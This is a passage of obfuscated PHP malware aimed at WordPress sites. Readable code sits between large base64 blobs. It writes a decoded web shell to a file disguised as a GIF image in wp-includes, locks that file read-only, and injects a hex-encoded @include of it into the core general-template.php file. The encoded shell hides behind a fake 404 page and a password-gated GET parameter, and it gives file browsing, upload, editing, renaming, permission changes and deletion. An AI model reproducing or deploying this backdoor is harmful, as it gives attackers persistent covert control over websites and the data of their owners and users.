NXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); }$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibG